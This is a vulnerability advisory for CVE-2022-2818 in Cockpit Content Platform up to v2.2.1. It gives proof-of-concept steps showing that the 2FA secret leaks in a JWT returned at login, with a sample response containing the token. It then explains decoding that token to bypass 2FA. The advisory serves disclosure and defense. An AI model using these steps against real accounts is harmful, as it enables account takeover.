CVE-2022-2818: 2FA Bypass in Cockpit Content Platform ≤ v2.2.1 in cockpit

Description

2FA secret is disclosed in JWT token after user logs into his account in Cockpit Content Platform ≤ v2.2.1 allowing attacker to bypass the 2FA code.

Proof of Concept

1.Login with your admin account and enable 2FA in your account and logout.

2.Go to http://yourserver.com/cockpit221/auth/login and enter your username and password and intercept the request in BurpSuite or Owasp Zap.

3.Now, Click perform following action “Right click > Do intercept > Response to this request” and forward the request.

4.Now you will get a response like this from http://yourserver.com/cockpit221/auth/check.

HTTP/1.0 200 OK

Date: Thu, 11 Aug 2022 11:24:32 GMT

Server: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/8.1.6 mod_perl/2.0.12 Perl/v5.34.1

X-Powered-By: PHP/8.1.6

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 520

Connection: close

Content-Type: application/json

{"success":true,"user":{"name":"Suvam","user":"suvam","email":"[email protected]","twofa":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoic3V2YW0iLCJlbWFpbCI6ImFkbWluQHN1dmFtLmNvbSIsImFjdGl2ZSI6dHJ1ZSwibmFtZSI6IlN1dmFtIiwiaTE4biI6ImVuIiwicm9sZSI6ImFkbWluIiwidGhlbWUiOiJhdXRvIiwiX21vZGlmaWVkIjoxNjYwMjE2OTczLCJfY3JlYXRlZCI6MTY2MDIxNDU5OSwiX2lkIjoiN2QwM2FhZWI2MjM1NjVkZGM3MDAwMzRlIiwidHdvZmEiOnsiZW5hYmxlZCI6dHJ1ZSwic2VjcmV0IjoiMjdPWUNJSVpJQ1JER0JUVUFPVUVTQzNHM1BXNUU2Q04ifX0.Q5DL1pZv4bYI8909luvRZse4FnszLFOGIVCvGVcqbDk"}}

5.Now, copy the payload of JWT token and decode it. The structure of JWT token is like this header.payload.signature .

6.Decode the payload. You will notice that the Authentication Secret token is disclosed in the payload JWT token.

7.Copy the Authenticator Secret token and provide it to Google Authenticator . @2FA is bypassed.

8.Attacker can exploit this vulnerability to bypass 2FA.

Proof Of Concept Video : https://drive.google.com/file/d/1rKCtY5W7XyIuApHtVAdWOusHJpw8b8OF/view?usp=sharing****Impact

Account Takeover